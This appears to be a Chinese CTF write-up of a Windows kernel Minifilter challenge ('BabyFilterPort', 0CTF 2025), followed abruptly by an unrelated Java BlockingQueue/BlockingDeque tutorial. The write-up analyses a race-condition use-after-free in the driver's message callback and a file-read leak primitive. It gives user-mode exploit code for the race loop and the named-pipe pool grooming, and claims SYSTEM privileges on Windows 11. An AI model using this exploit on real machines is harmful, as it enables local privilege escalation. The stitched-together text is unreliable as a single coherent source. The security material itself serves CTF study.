  PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
  LONG                   MaxConnections
);

这个API创建的端口。这个端口的属性通常会放在ObjectAttributes这个属性里面,包括用户态可以与之通信的端口名字。例如:

    UNICODE_STRING portName = RTL_CONSTANT_STRING(L"\\MyFilterPort");
    PSECURITY_DESCRIPTOR sd;
    FltBuildDefaultSecurityDescriptor(&sd, FLT_PORT_ALL_ACCESS); // 设置权限

    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd);

    FltCreateCommunicationPort(
        gFilterHandle,
        &gServerPort,
        &oa,
        NULL,
        MyConnectNotify,    // 连接回调
        MyDisconnectNotify, // 断开回调
        MyMessageNotify,    // 收到消息回调
        1                   // 最大并发连接数
    );

这里的回调函数也很关键。当我们尝试与Minifilter进行连接建立、断开以及消息发送的时候,就会分别触发这几个回调函数。其中如果需要触发收到消息的回调,需要用户态使用

HRESULT FilterSendMessage(
  [in]           HANDLE  hPort,
  [in, optional] LPVOID  lpInBuffer,
  [in]           DWORD   dwInBufferSize,
  [out]          LPVOID  lpOutBuffer,
  [in]           DWORD   dwOutBufferSize,
  [out]          LPDWORD lpBytesReturned
);

来触发对应的回调函数。

同时,第一个参数gFilterHandle表示的是当前MiniFilter总共注册了哪些回调。这个注册过程为

CONST FLT_REGISTRATION reg = {

    sizeof( FLT_REGISTRATION ),         //  Size
    FLT_REGISTRATION_VERSION,           //  Version
    0,                                  //  Flags

    NULL,                               //  Context
    NULL,                               //  Operation callbacks

    NullUnload,                         //  FilterUnload

    NULL,                               //  InstanceSetup
    NullQueryTeardown,                  //  InstanceQueryTeardown
    NULL,                               //  InstanceTeardownStart
    NULL,                               //  InstanceTeardownComplete

    NULL,                               //  GenerateFileName
    NULL,                               //  GenerateDestinationFileName
    NULL                                //  NormalizeNameComponent

};

FltRegisterFilter(DriverObject, &reg, &gFilterHandle);

我们通过填写一个FLT_REGISTRATION的结构体,完成对应回调实体的属性设置。这个属性具体如下:

typedef struct _FLT_REGISTRATION {
  USHORT                                      Size;
  USHORT                                      Version;
  FLT_REGISTRATION_FLAGS                      Flags;
  const FLT_CONTEXT_REGISTRATION              *ContextRegistration;
  const FLT_OPERATION_REGISTRATION            *OperationRegistration;
  PFLT_FILTER_UNLOAD_CALLBACK                 FilterUnloadCallback;
  PFLT_INSTANCE_SETUP_CALLBACK                InstanceSetupCallback;
  PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK       InstanceQueryTeardownCallback;
  PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownStartCallback;
  PFLT_INSTANCE_TEARDOWN_CALLBACK             InstanceTeardownCompleteCallback;
  PFLT_GENERATE_FILE_NAME                     GenerateFileNameCallback;
  PFLT_NORMALIZE_NAME_COMPONENT               NormalizeNameComponentCallback;
  PFLT_NORMALIZE_CONTEXT_CLEANUP              NormalizeContextCleanupCallback;
  PFLT_TRANSACTION_NOTIFICATION_CALLBACK      TransactionNotificationCallback;
  PFLT_NORMALIZE_NAME_COMPONENT_EX            NormalizeNameComponentExCallback;
  PFLT_SECTION_CONFLICT_NOTIFICATION_CALLBACK SectionNotificationCallback;
} FLT_REGISTRATION, *PFLT_REGISTRATION;

其中我们需要关注的是OprationRegistration这个成员。这里会记录当前MiniFilter针对哪些IRP进行观测。例如这个来自微软官方的例子:

FLT_OPERATION_REGISTRATION Callbacks[] = {

    { IRP_MJ_CREATE,
        FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO,
        SimRepPreCreate,
        NULL },

    { IRP_MJ_NETWORK_QUERY_OPEN,
        FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO,
        SimRepPreNetworkQueryOpen,
        NULL },

    { IRP_MJ_OPERATION_END }
};

FLT_REGISTRATION FilterRegistration = {

    sizeof( FLT_REGISTRATION ),                     //  Size
    FLT_REGISTRATION_VERSION,                       //  Version
    0,                                              //  Flags
    NULL,                                           //  Context
    Callbacks,                                      //  Operation callbacks
    SimRepUnload,                                   //  Filters unload routine
    SimRepInstanceSetup,                            //  InstanceSetup routine
    SimRepInstanceQueryTeardown,                    //  InstanceQueryTeardown routine
    NULL,                                           //  InstanceTeardownStart routine
    NULL,                                           //  InstanceTeardownComplete routine
    NULL,                                           //  Filename generation support callback
    NULL,                                           //  Filename normalization support callback
    NULL,                                           //  Normalize name component cleanup callback
#if SIMREP_VISTA
    NULL,                                           //  Transaction notification callback
    NULL                                            //  Filename normalization support callback

#endif // SIMREP_VISTA
};

这里的Callbacks总共注册了两个操作

  • IRP_MJ_CREATE: 这里就是打开文件会触发的回调
  • IRP_MJ_NETWORK_QUERY_OPEN: 通过FastIO触发的一种特殊回调

通过给数组最后一个参数留空来表示当前回调数组的长度。

通过上述结构体,就能描述出当前Minifilter具体对哪些操作进行了回调注册

样例代码

PFLT_FILTER gFilterHandle = NULL;
PFLT_PORT gServerPort = NULL;    // 服务端监听端口
PFLT_PORT gClientPort = NULL;    // 已连接的客户端端口

// 当用户态调用 FilterConnectCommunicationPort 时触发
NTSTATUS MyConnectNotify(PFLT_PORT ClientPort, PVOID ServerPortCookie, PVOID ConnectionContext, ULONG SizeOfContext, PVOID *ConnectionPortCookie) {
    gClientPort = ClientPort;
    DbgPrint("Client connected!\n");
    return STATUS_SUCCESS;
}

// 当用户态调用 CloseHandle 时触发
void MyDisconnectNotify(PVOID ConnectionCookie) {
    FltCloseClientPort(gFilterHandle, &gClientPort);
    DbgPrint("Client disconnected!\n");
}

// 当用户态调用 FilterSendMessage 发送数据时触发
NTSTATUS MyMessageNotify(PVOID PortCookie, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnOutputBufferLength) {
    DbgPrint("Received message from user-mode!\n");
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    // 1. 注册 Minifilter
    FLT_REGISTRATION reg = { sizeof(FLT_REGISTRATION), FLT_REGISTRATION_VERSION, 0 };
    // 此处通常需要设置 Context 和 Operation 回调,为简洁起见省略
    FltRegisterFilter(DriverObject, &reg, &gFilterHandle);

    // 2. 创建通信端口
    UNICODE_STRING portName = RTL_CONSTANT_STRING(L"\\MyFilterPort");
    PSECURITY_DESCRIPTOR sd;
    FltBuildDefaultSecurityDescriptor(&sd, FLT_PORT_ALL_ACCESS); // 设置权限

    OBJECT_ATTRIBUTES oa;
    InitializeObjectAttributes(&oa, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, sd);

    // 建立端口,绑定通知函数
    FltCreateCommunicationPort(
        gFilterHandle,
        &gServerPort,       // 输出服务端句柄
        &oa,
        NULL,               // Cookie
        MyConnectNotify,    // 连接回调
        MyDisconnectNotify, // 断开回调
        MyMessageNotify,    // 收到消息回调
        1                   // 最大并发连接数
    );

    FltFreeSecurityDescriptor(sd);
    return FltStartFiltering(gFilterHandle);
}

之后我们分析这个MiniFilter。有了MiniFilter的基础知识,我们这里主要关注两个位置,一个是注册函数到底注册了什么回调,一个是MessageCallback中可能有什么。首先看到主要注册逻辑:

NTSTATUS __fastcall sub_140007000(PDRIVER_OBJECT Driver)
{
  NTSTATUS result; // eax
  NTSTATUS started; // ebx
  struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-40h] BYREF
  _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+50h] [rbp-30h] BYREF
  void *v6; // [rsp+A0h] [rbp+20h] BYREF

  if ( (dword_140004108 & 1) != 0 )
    DbgPrint("PassThrough!DriverEntry: Entered\n");
  result = FltRegisterFilter(Driver, &Registration, &Filter);
  _mm_lfence();
  if ( result >= 0 )
  {
    *(&ObjectAttributes.Length + 1) = 0;
    *(&ObjectAttributes.Attributes + 1) = 0;
    DestinationString = 0;
    v6 = 0;
    sub_14000132C(&v6);
    RtlInitUnicodeString(&DestinationString, L"\\BabyFilterPort");
    ObjectAttributes.ObjectName = &DestinationString;
    ObjectAttributes.SecurityDescriptor = v6;
    ObjectAttributes.Length = 48;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes = 576;
    ObjectAttributes.SecurityQualityOfService = 0;
    FltCreateCommunicationPort(
      Filter,
      &ServerPort,
      &ObjectAttributes,
      0,
      (PFLT_CONNECT_NOTIFY)ConnectNotifyCallback,
      (PFLT_DISCONNECT_NOTIFY)DisconnectNotifyCallback,
      (PFLT_MESSAGE_NOTIFY)MessageNotifyCallback,
      64);
    started = FltStartFiltering(Filter);
    if ( started < 0 )
      FltUnregisterFilter(Filter);
    return started;
  }
  return result;
}

根据上述代码,可以知道程序注册了一个\\BabyFilterPort端口。并且我们使用FltSendMessage与之通信的时候,能够触发MessageNotifyCallback的逻辑。并且程序注册了一些过滤回调在Registration

MessageNotifyCallback

这个函数为主要的漏洞函数,其代码如下:

__int64 __fastcall MessageNotifyCallback(
        PVOID PortCookie,
        char *InputBuffer,
        ULONG InputBufferLength,
        PVOID OutputBuffer)
{

  buffer_len = InputBufferLength;
  if ( !InputBuffer || InputBufferLength < 8 )
    return 3221225473LL;
  sub_140002100((char *)&input_header_flag_1, 0, 0x1008u);
  if ( buffer_len > 0x1008 )
    buffer_len = 0x1008;
  a__memcpy((char *)&input_header_flag_1, InputBuffer, buffer_len);
  size = input_header_size;
  v7 = buffer_len - 8;
  if ( input_header_size > v7 )
    size = v7;
  if ( input_header_flag_1 )
  {
    if ( input_header_flag_1 == 1 )
    {
      Buffer = gCTX.Buffer;
      size_1 = gCTX.Size;
      Flag = gCTX.Flag;
      if ( gCTX.Buffer )
      {
        if ( size > gCTX.Size )
          size = gCTX.Size;
        a__memcpy((char *)gCTX.Buffer, newBuffer, size);
        gCTX.Size = size_1;
        gCTX.Flag = Flag;
        gCTX.Buffer = Buffer;
      }
    }
    else if ( input_header_flag_1 == 2 )
    {
      if ( gCTX.Buffer )
      {
        ExFreePoolWithTag(gCTX.Buffer, 0);
        gCTX.Buffer = 0;
        gCTX.Size = 0;
      }
    }
  }
  else if ( size )
  {
    _mm_lfence();
    Pool2 = (void *)ExAllocatePool2(67, size, 'ybaB');
    gCTX.Buffer = Pool2;
    gCTX.Size = size;
    if ( Pool2 )
      a__memcpy((char *)Pool2, newBuffer, size);
  }
  return 0;
}

可以看到,程序使用一个叫做gCTX的对象在内核中管理一个申请出来的内存,这个结构体大致如下:

struct GLOBAL_CTX
{
  UINT32 Size;
  UINT32 Flag;
  PVOID Buffer;
};

而我们传入的数据也会作为一个结构体处理,其结构为:

#define NEW_BLOCK 0
#define EDIT_BLOCK 1
#define FREE_BLOCK 2

typedef struct _gMSG {
    unsigned int opcode;   // v13
    unsigned int size;     // v14
    char     data[0x1000];
} gMSG;

根据分析,我们可以知道,opcode的值会决定我们当前处于申请,修改还是释放三种不同的状态。

于是这里我们可以写出这样的用户态代码,作为访问的接口

int CallFilterComm(unsigned int opcode, unsigned int size, unsigned char* buffer) {

    HRESULT hr;
    // printf("[+] Connected to BabyFilterPort\n");

    gMSG inbuf;

    inbuf.opcode = opcode;
    inbuf.size = size;
    memcpy(inbuf.data, buffer, size);

    BYTE outbuf[0x1000] = { 0 };
    DWORD bytesReturned = 0;

    // 3. MessageNotifyCallback
    hr = FilterSendMessage(
        g_hPort,
        &inbuf,
        sizeof(inbuf),
        outbuf,
        sizeof(outbuf),
        &bytesReturned
    );

    if (FAILED(hr)) {
        printf("[!] FilterSendMessage failed: 0x%08X\n", hr);
    }
    else {
        // printf("[+] FilterSendMessage success, bytesReturned = %lu\n", bytesReturned);
    }

    return 0;
}

漏洞点

很显然,这个全局对象就是一个突破点。当函数FltCreateCommunicationPort注册一个Minifilter的时候,它最后一个参数的含义为最大并发数 MaxConnections。意思也就是说,对于这个驱动而言,一次性最多能有几个客户端连入。在这个题目中,FltCreateCommunicationPort的MaxConnections=64,这就意味着,一次性最多可以有64个线程同时修改这个对象。于是我们这个程序就存在了条件竞争的可能。

我们关注这一部分代码:

if ( opcode == 1 ) // EDIT BLOCK
{
    Buffer = gCTX.Buffer;
    size_1 = gCTX.Size;
    Flag = gCTX.Flag;
    if ( gCTX.Buffer )
    {
    if ( size > gCTX.Size )
        size = gCTX.Size;
    a__memcpy((char *)gCTX.Buffer, newBuffer, size);
    gCTX.Size = size_1;
    gCTX.Flag = Flag;
    gCTX.Buffer = Buffer;
    }
}
else if ( opcode == 2 ) // FREE BLOCK
{
    if ( gCTX.Buffer )
    {
    ExFreePoolWithTag(gCTX.Buffer, 0);
    gCTX.Buffer = 0;
    gCTX.Size = 0;
    }
}

假设这里有两个线程,1和2。当我们线程1进入EDIT BLOCK的逻辑,并且来到了这部分

    Buffer = gCTX.Buffer;
    size_1 = gCTX.Size;
    Flag = gCTX.Flag;
    if ( gCTX.Buffer )
    {
    if ( size > gCTX.Size )
        size = gCTX.Size;
        a__memcpy((char *)gCTX.Buffer, newBuffer, size);// 线程1在这里
        gCTX.Size = size_1;
        gCTX.Flag = Flag; 
        gCTX.Buffer = Buffer;
    }

此时线程2进入Free的逻辑,尝试进行Buffer的释放

    if ( gCTX.Buffer )
    {
        ExFreePoolWithTag(gCTX.Buffer, 0);
        gCTX.Buffer = 0;
        gCTX.Size = 0; 
    }// 线程2在这里

那么,当线程1重新开始运行的时候,它就会将一个【本来被线程2 释放后的内存,重新复制给gCTX.Buffer】,这就形成了一个完美的UAF。在这之后,EDIT操作就能够直接操作一个被释放的池空间。

过滤器处理逻辑

通过分析IDA中对应注册函数的逻辑:

.rdata:0000000140003220 ; const FLT_REGISTRATION Registration
.rdata:0000000140003220 Registration    dw 70h                  ; Size
.rdata:0000000140003220                                         ; DATA XREF: DriverEntry_enter+33↓o
.rdata:0000000140003222                 dw 203h                 ; Version
.rdata:0000000140003224                 dd 0                    ; Flags
.rdata:0000000140003228                 dq 0                    ; ContextRegistration
.rdata:0000000140003230                 dq offset stru_1400031C0; OperationRegistration    // 注意这里 
.rdata:0000000140003238                 dq offset sub_140006070 ; FilterUnloadCallback
.rdata:0000000140003240                 dq offset sub_140006000 ; InstanceSetupCallback
.rdata:0000000140003248                 dq offset sub_1400060A0 ; InstanceQueryTeardownCallback
.rdata:0000000140003250                 dq offset sub_140006030 ; InstanceTeardownStartCallback
.rdata:0000000140003258                 dq offset sub_140006050 ; InstanceTeardownCompleteCallback
.rdata:0000000140003260                 dq 0                    ; GenerateFileNameCallback
.rdata:0000000140003268                 dq 0                    ; NormalizeNameComponentCallback
.rdata:0000000140003270                 dq 0                    ; NormalizeContextCleanupCallback
.rdata:0000000140003278                 dq 0                    ; TransactionNotificationCallback
.rdata:0000000140003280                 dq 0                    ; NormalizeNameComponentExCallback
.rdata:0000000140003288                 align 10h

.rdata:00000001400031C0 stru_1400031C0  db 3                    ; MajorFunction(IRP_MJ_READ)
.rdata:00000001400031C0                                         ; DATA XREF: .rdata:Registration↓o
.rdata:00000001400031C1                 db 3 dup(0)
.rdata:00000001400031C4                 dd 0                    ; Flags
.rdata:00000001400031C8                 dq offset PreOptionFunc ; PreOperation
.rdata:00000001400031D0                 dq offset ReadPostCallback  ; PostOperation
.rdata:00000001400031D8                 dq 0                    ; Reserved1
.rdata:00000001400031E0                 db 4                    ; MajorFunction(IRP_MJ_WRITE)
.rdata:00000001400031E1                 db 3 dup(0)
.rdata:00000001400031E4                 dd 0                    ; Flags
.rdata:00000001400031E8                 dq offset PreOptionFunc ; PreOperation
.rdata:00000001400031F0                 dq offset ConnectNotifyCallback; PostOperation
.rdata:00000001400031F8                 dq 0                    ; Reserved1
.rdata:0000000140003200                 db 80h                  ; MajorFunction
.rdata:0000000140003201                 db 3 dup(0)
.rdata:0000000140003204                 dd 0                    ; Flags
.rdata:0000000140003208                 dq 0                    ; PreOperation
.rdata:0000000140003210                 dq 0                    ; PostOperation
.rdata:0000000140003218                 dq 0                    ; Reserved1            

可以看到,程序对IRP_MJ_READ|IRP_MJ_WRITE进行了注册,进一步分析之后,会发现其实只有读回调是有必要分析的。其中代码为:

__int64 __fastcall ReadPostCallback(PFLT_CALLBACK_DATA CallbackData)
{
  NTSTATUS Status; // eax
  char *v3; // rax
  PFLT_IO_PARAMETER_BLOCK Iopb; // r9
  struct _MDL *MdlAddress; // rcx
  char *Parameters; // r9
  char *buffer; // rdx
  signed int Size; // eax
  PFLT_FILE_NAME_INFORMATION FileNameInformation; // [rsp+20h] [rbp-148h] BYREF
  GLOBAL_CTX m_ctx; // [rsp+28h] [rbp-140h]
  char String[272]; // [rsp+40h] [rbp-128h] BYREF

  sub_140002100(String, 0, 0x104u);
  Status = CallbackData->IoStatus.Status;
  if ( Status >= 0 && Status != 260 && FltGetFileNameInformation(CallbackData, 0x101u, &FileNameInformation) >= 0 )
  {
    if ( FltParseFileNameInformation(FileNameInformation) >= 0 )
    {
      sub_1400015CC(&FileNameInformation->Name, String);
      v3 = strlwr(String);
      if ( strstr(v3, "_0ctf_2025.txt") )
      {
        _mm_lfence();
        Iopb = CallbackData->Iopb;
        MdlAddress = Iopb->Parameters.Read.MdlAddress;
        if ( MdlAddress )
          Parameters = (char *)((MdlAddress->MdlFlags & 5) != 0
                              ? MdlAddress->MappedSystemVa
                              : MmMapLockedPages(MdlAddress, 0));
        else
          Parameters = (char *)Iopb->Parameters.CreatePipe.Parameters;
        m_ctx = gCTX;
        buffer = (char *)_mm_srli_si128((__m128i)gCTX, 8).m128i_u64[0];
        if ( buffer )
        {
          _mm_lfence();
          Size = m_ctx.Size;
          if ( m_ctx.Size > CallbackData->Iopb->Parameters.Read.Length )
            Size = CallbackData->Iopb->Parameters.Read.Length;
          a__memcpy(Parameters, buffer, Size);
          CallbackData->IoStatus.Information = CallbackData->Iopb->Parameters.Read.Length;
        }
      }
    }
    FltReleaseFileNameInformation(FileNameInformation);
  }
  return 0;
}

根据逻辑我们可以知道,当我们的Read操作中,传入的文件名参数带有关键字符_0ctf_2025.txt的时候,程序会从全局对象gCTX+0x8的位置开始,取出指针,并且将那个指针中总共Size大小的数据传入到我们IRP中,相当于是作为了Read操作的返回数据。

用户态交互代码

根据这一步,我们可以在用户态写出这样的代码来进行内核数据的读取:

HANDLE CreateTempFile()
{
    char tempPath[MAX_PATH] = { 0 };
    char filePath[MAX_PATH] = { 0 };

    if (GetTempPathA(MAX_PATH, tempPath) == 0)
    {
        printf("get temp file path error !");
        return INVALID_HANDLE_VALUE;
    }

    snprintf(filePath, MAX_PATH, "%s%s", tempPath, strTargetPath);

    // printf("temp file path is %s\n", filePath);
    HANDLE hFile = CreateFileA(
        filePath,
        // GENERIC_ALL,
        GENERIC_READ | GENERIC_WRITE,
        // 0,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );

    return hFile;
}

int ReadDataFromGMSG(unsigned char* buf, size_t read_size) {
    HANDLE h;
    // char buf[0x1000] = { 0 };
    DWORD read;

    h = CreateTempFile();

    if (h == INVALID_HANDLE_VALUE) {
        printf("open failed\n");
        return 0;
    }

    const char marker = 'X';
    DWORD written;
    WriteFile(h, &marker, 1, &written, nullptr);

    SetFilePointer(h, 0, nullptr, FILE_BEGIN);

    BOOL rState = ReadFile(h, buf, read_size, &read, NULL);

    if (!rState)
    {
        printf("Read file error with %d\n", GetLastError());
        return -1;
    }

    CloseHandle(h);
    return 0;
}

注意,由于这里注册的是PostRead,所以我们首先需要保证Read的成功。这就意味着我们首先需要真的创建一个包含目标名字的文件。所以在代码中,我们首先在Temp目录下创建了同名文件,然后才会尝试读取。

触发PoC

结合我们之前提到的利用技巧,这里我们准备使用PIPE的攻击方法来完成攻击。所以我们期望发生的内存布局是这样的:

+----------+---------+---------+
|          |         |         |
|          |   UAF   |         |
|  PIPE    |  BLOCK  |  PIPE   |
|          |         |         |
|          |         |         |
|          |         |         |
+----------+---------+---------+

这样我们就能够获得一个可以被我们任意修改的PIEP,从而实现攻击原语。

这里我们建立两个线程,主线程用于反复的调用NEW/FREE操作,另一个线程进行条件竞争,不停的进行EDIT。此时在调用完之后,我们利用之前过滤器的泄露原语来确认我们当前的这个目标池内容是否真的被修改成了EDIT后的内容,以此来证明我们条件竞争的成功。具体来说:

首先,当我们线程1NEW一个BLOCK的时候,我们在BLOCK中填入大量的A

+------------+
| AAAAAAA    |
|            |
|            |
|            |
|            |
|            |
|            |
+------------+

我们在EDIT线程2中,将其修改成C

+------------+
| CCCCCCC    |
|            |
|            |
|            |
|            |
|            |
|            |
+------------+

如果我们在线程1的FREE操作后,读出来的BLOCK是成功被修改后的BLOCK(也就是内容为C),那么此时就能够证明我们利用的成功

int static FengshuiPipe()
{
    PIPE_HANDLES spare_pipe, subsegments_pipe, bcrypt_pipe;
    DWORD res;
    IO_STATUS_BLOCK isb;

    puts("Start fengshui");
    // char d = getchar();
    // 1. create lots of pips
    for (int i = 0; i < VICTIM_PIPES_NUMBER; i++) {
        CreateMyPipe(&victim_pipes[i], 0x1000);
    }

    // 2. try to Free some pipe to create hole
    for (int i = VICTIM_PIPES_NUMBER-2; i < VICTIM_PIPES_NUMBER; i += 2)
    {
        CloseMyPipe(&victim_pipes[i]);
    }

    // 3. create empty block, the trigger uaf
    //CallFilterComm(NEW_BLOCK, 0x1000, 0x61);

    // 4. race condition to get 
    // prepare event
    g_EventStart = CreateEvent(NULL, FALSE, FALSE, NULL);
    g_EventEdit = CreateEvent(NULL, FALSE, FALSE, NULL);

    SetThreadAffinityMask(GetCurrentThread(), 1 << 0);
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
    CreateThread(NULL, 0, edit_thread, &g_hPort, 0, NULL);
    // while (InterlockedCompareExchange(&g_race_done, 0, 0) == 0)
    while (TRUE)
    {
        // printf("create new block\n");
        // (1) create mesg
        //puts("start");
        //char c = getchar();
        unsigned char buf1[0x1000] = { 0x61 };
        memset(buf1, 0x61, sizeof(buf1));
        CallFilterComm(NEW_BLOCK, 0x1000, buf1);
        g_CanEdit = TRUE;

        // (2) race condition will try to free it
        // so here we try to replace it with new one 

        // SetEvent(g_EventStart);
        /// printf("free block\n");
        unsigned char buf2[0x1000] = { 0x62 };
        memset(buf2, 0x62, sizeof(buf2));

        CallFilterComm(FREE_BLOCK, 0x1000, buf2);

        // break;

        for (volatile int i = 0; i < 500; i++) { _mm_pause(); }

        g_CanEdit = FALSE;

        // (3) if race condition happen, we try to 
        // load data from gmsg, check if has been edited
        unsigned char buffer[0x1000] = { 0 };
        ReadDataFromGMSG(buffer, sizeof(buffer));
        // printf("%s\n", buffer);
        // break;
        if (buffer[0] == 0x63)
        {
            g_RaceDone = TRUE;
            // replace success ,stop race
            // if (InterlockedCompareExchange(&g_race_done, 1, NULL) == 0)
            // {
                printf("[+] race condition success!\n");
                ReleaseSemaphore(g_done_sam, 1, NULL);
            // }
            break;
        }
    }

利用部分

具体的利用脚本放在这里 总体思路就和之前提到的一样,利用PIPE的各类原语构造整个利用思路,并且合理进行风水后完成利用。

后记

其实比赛期间完全没有做出来这个题目,不知道这个利用手法在真正的题目中能不能做出来。上述代码经测试,在Windows 11 25H2上是能够获取System全新先的。所以可能有所问题,欢迎斧正。

在比赛结束后才发现,Windows提权还有其他的利用技巧,比如_WNF_STATE_DATA 相关这种办法。可能这些利用手法会更加简单,以后有空会进行相关整理。

参考文章

https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master

BlockingQueue和BlockingDeque

BlockingQueue

BlockingQueue 通常用于一个线程生产对象,而另外一个线程消费这些对象的场景。下图是对这个原理的阐述:

一个线程往里边放,另外一个线程从里边取的一个 BlockingQueue。

一个线程将会持续生产新对象并将其插入到队列之中,直到队列达到它所能容纳的临界点。也就是说,它是有限的。如果该阻塞队列到达了其临界点,负责生产的线程将会在往里边插入新对象时发生阻塞。它会一直处于阻塞之中,直到负责消费的线程从队列中拿走一个对象。 负责消费的线程将会一直从该阻塞队列中拿出对象。如果消费线程尝试去从一个空的队列中提取对象的话,这个消费线程将会处于阻塞之中,直到一个生产线程把一个对象丢进队列。

BlockingQueue 的方法

BlockingQueue 具有 4 组不同的方法用于插入、移除以及对队列中的元素进行检查。如果请求的操作不能得到立即执行的话,每个方法的表现也不同。这些方法如下:

抛异常特定值阻塞超时
插入add(o)offer(o)put(o)offer(o, timeout, timeunit)
移除remove()poll()take()poll(timeout, timeunit)
检查element()peek()

四组不同的行为方式解释:

  • 抛异常:如果试图的操作无法立即执行,抛一个异常。
  • 特定值:如果试图的操作无法立即执行,返回一个特定的值(常常是 true / false)。
  • 阻塞:如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行。
  • 超时:如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行,但等待时间不会超过给定值。返回一个特定值以告知该操作是否成功(典型的是 true / false)。

无法向一个 BlockingQueue 中插入 null。如果你试图插入 null,BlockingQueue 将会抛出一个 NullPointerException。 可以访问到 BlockingQueue 中的所有元素,而不仅仅是开始和结束的元素。比如说,你将一个对象放入队列之中以等待处理,但你的应用想要将其取消掉。那么你可以调用诸如 remove(o) 方法来将队列之中的特定对象进行移除。但是这么干效率并不高,因此你尽量不要用这一类的方法,除非你确实不得不那么做。

BlockingDeque

java.util.concurrent 包里的 BlockingDeque 接口表示一个线程安放入和提取实例的双端队列。

BlockingDeque 类是一个双端队列,在不能够插入元素时,它将阻塞住试图插入元素的线程;在不能够抽取元素时,它将阻塞住试图抽取的线程。 deque(双端队列) 是 "Double Ended Queue" 的缩写。因此,双端队列是一个你可以从任意一端插入或者抽取元素的队列。

在线程既是一个队列的生产者又是这个队列的消费者的时候可以使用到 BlockingDeque。如果生产者线程需要在队列的两端都可以插入数据,消费者线程需要在队列的两端都可以移除数据,这个时候也可以使用 BlockingDeque。BlockingDeque 图解:

BlockingDeque 的方法

一个 BlockingDeque - 线程在双端队列的两端都可以插入和提取元素。 一个线程生产元素,并把它们插入到队列的任意一端。如果双端队列已满,插入线程将被阻塞,直到一个移除线程从该队列中移出了一个元素。如果双端队列为空,移除线程将被阻塞,直到一个插入线程向该队列插入了一个新元素。

BlockingDeque 具有 4 组不同的方法用于插入、移除以及对双端队列中的元素进行检查。如果请求的操作不能得到立即执行的话,每个方法的表现也不同。这些方法如下:

抛异常特定值阻塞超时
插入addFirst(o)offerFirst(o)putFirst(o)offerFirst(o, timeout, timeunit)
移除removeFirst(o)pollFirst(o)takeFirst(o)pollFirst(timeout, timeunit)
检查getFirst(o)peekFirst(o)
抛异常特定值阻塞超时
插入addLast(o)offerLast(o)putLast(o)offerLast(o, timeout, timeunit)
移除removeLast(o)pollLast(o)takeLast(o)pollLast(timeout, timeunit)
检查getLast(o)peekLast(o)

四组不同的行为方式解释:

  • 抛异常: 如果试图的操作无法立即执行,抛一个异常。
  • 特定值: 如果试图的操作无法立即执行,返回一个特定的值(常常是 true / false)。
  • 阻塞: 如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行。
  • 超时: 如果试图的操作无法立即执行,该方法调用将会发生阻塞,直到能够执行,但等待时间不会超过给定值。返回一个特定值以告知该操作是否成功(典型的是 true / false)。

BlockingDeque 与BlockingQueue关系

BlockingDeque 接口继承自 BlockingQueue 接口。这就意味着你可以像使用一个 BlockingQueue 那样使用 BlockingDeque。如果你这么干的话,各种插入方法将会把新元素添加到双端队列的尾端,而移除方法将会把双端队列的首端的元素移除。正如 BlockingQueue 接口的插入和移除方法一样。

以下是 BlockingDeque 对 BlockingQueue 接口的方法的具体内部实现:

BlockingQueueBlockingDeque
add()addLast()
offer() x 2offerLast() x 2
put()putLast()
remove()removeFirst()
poll() x 2pollFirst()
take()takeFirst()
element()getFirst()
peek()peekFirst()

BlockingQueue 的例子

这里是一个 Java 中使用 BlockingQueue 的示例。本示例使用的是 BlockingQueue 接口的 ArrayBlockingQueue 实现。 首先,BlockingQueueExample 类分别在两个独立的线程中启动了一个 Producer 和 一个 Consumer。Producer 向一个共享的 BlockingQueue 中注入字符串,而 Consumer 则会从中把它们拿出来。

public class BlockingQueueExample {
    public static void main(String[] args) throws Exception {
        BlockingQueue queue = new ArrayBlockingQueue(1024);
        
        Producer producer = new Producer(queue);
        Consumer consumer = new Consumer(queue);
 
        new Thread(producer).start();
        new Thread(consumer).start();
 
        Thread.sleep(4000);
    }
}

以下是 Producer 类。注意它在每次 put() 调用时是如何休眠一秒钟的。这将导致 Consumer 在等待队列中对象的时候发生阻塞。

public class Producer implements Runnable{
    protected BlockingQueue queue = null;
    public Producer(BlockingQueue queue) {
        this.queue = queue;
    }
    public void run() {
        try {
            queue.put("1");
            Thread.sleep(1000);
            queue.put("2");
            Thread.sleep(1000);
            queue.put("3");
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

以下是 Consumer 类。它只是把对象从队列中抽取出来,然后将它们打印到 System.out。

public class Consumer implements Runnable{
    protected BlockingQueue queue = null;
    public Consumer(BlockingQueue queue) {
        this.queue = queue;
    }
    public void run() {
        try {
            System.out.println(queue.take());
            System.out.println(queue.take());
            System.out.println(queue.take());
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

数组阻塞队列 ArrayBlockingQueue

ArrayBlockingQueue 类实现了 BlockingQueue 接口。

